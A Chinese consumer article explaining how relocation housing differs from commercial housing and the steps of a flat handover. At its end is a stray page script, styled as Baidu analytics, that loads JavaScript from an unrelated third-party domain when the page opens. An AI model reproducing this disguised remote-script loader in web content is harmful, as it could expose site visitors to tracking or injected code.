动迁房和商品房区别 最大区别是房屋属性不同

楼房对于现在很多人来说是一个非常重要的存在，很多人会认为只有有了楼我们才能窥拥有我们自己真正的生活。所以也有很多人会终其一生的努力，去买一层楼。对每一个很不容易攒钱买楼的人来说，赚钱虽然不容易，但是想要买到一座好的房子更加的不容易。因为现在市面上楼房的类型太多，让人分不清。而其中动迁房和商品房，是人们最难的区别开的两种楼房类型。那么接下来小编就来给大家介绍一下，到底动迁房和商品房有什么区别吧。动迁房和商品房区别1、定义动迁房：即安置房，这类房屋被拆迁是因城市规划、土地开发等，从而安置给被拆迁人或是承租人来居住使用的房屋。商品房：兴起于80年代，价格由成本、税金、利润、代收费用及地段、层次、朝向、质量、材料差价等构成。以法律法规来解释，则商品房是指按照法律、法规及有关规定，可以在市场进行交易，且不受政府政策限制的各类商品房屋。根据销售对象来划分，可以分为外销商品房和内销商品房。2、产权动迁房并非全是完全产权，即，具有完全的房屋所有权，不过却可能不具有完全的土地使用权。多数动迁房的土地性质是划拨土地，没有缴纳出让金。在以后的二次交易时，很有可能补交土地出让金。商品房是完全产权，也就是说，拥有完全的房屋所有权和完全的土地使用权。商品房的土地性质是出让，缴纳了土地出让金的。3、质量动迁房的建设利润一般都会被牢牢限制住的，因此建筑商在这仅有的资金范围内会偷工减料以赚取最大的利润。因此，动迁房的质量一般较差。商品房较于动迁房来说，质量会好些。4、交易时间动迁房一般都会有交易时间的限制，几年内不可上市转售给他人。商品房在交易时间上是没有限制的，你购买的房屋若是已办理了登记的现房，便可上市进行交易。因此消费者在购买商品房时，一定要注意审查“五证”，即《国有土地使用证》、《建设用地规划许可证》、《建设工程规划许可证》、《施工许可证》及《商品房预售许可证》。总结：小编在上文中为大家介绍了动迁房和商品房的区别。动迁房和商品房最主要的区别首先是其本身的定义，动迁房面对的是因为被拆迁的用于安置拆迁人员的一些楼房，而商品房就是面对所有人的。另外他们两个最大的区别肯定就是产权的问题，动迁房并没有完全的产权，其中土地使用证就是一个很大的问题。而商品房我们就能够完全的拥有自己的产权。而其他一些小区别虽然说不是很明显，但是大家也要多加注意

关于商品房交房手续的几个步骤

人们买到房后盼了很久房子终于盖好了，马上交房了，很多人都不知道商品房交房手续是什么，很多的人想的都是有了房子要如何装修才更好更漂亮，不注意商品房交房手续这个问题，其实这个问题大家应该知道一些，毕竟涉及到交房验收和自己的权益。关于商品房交房手续的几个步骤1.通知：很好理解就是房子盖好了，售楼处负责给买房的业主打电话或者发信息告诉房子可以准备办理交房手续了，通知业主提前准备好物业，取暖等费用。2.验房：顾名思义就是业主对开发高盖好的房子进行验收，看看房子有就有什么问题，是不是按合同上的要求盖的房子，还有就是需要开发商提供住建局等地方的正式验收标准合格，因为业主收房的时候只会看到房子的外观，如门窗安装的是不是不缝隙，墙面地面是不是有问题，而验房真正重要的是房子的抗震能力等重要问题。3.开发商必须提供《住宅质量保证书》和《住宅使用说明书》根据《商品住宅实行住宅质量保证书和住宅使用说明书制度的规定》等相关法规，商品房交付使用时，应当提供住宅质量保证书和住宅使用说明书。该法规规定,《住宅质量保证书》是开发商对销售的商品住宅承担质量责任的法律文件，可以作为商品房预、出售合同的补充约定，与合同具有同等效力。开发商应当按《住宅质量保证书》的约定,承担保修责任。开发商不提供的，购房者可以拒签房屋交接书。4.签订房屋交接书：上面说的三点都没有问题就可以签了，交接书上必须明确每个项目，除了问题到底责任该谁承担，如果说的不清楚业主可以完全拒签。买房是大事，交房要明明白白的，多学习商品房交房手续，只有早点熟悉了商品房交房手续的几个过程，这样在交房的时候才可以维护好自己的权益。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();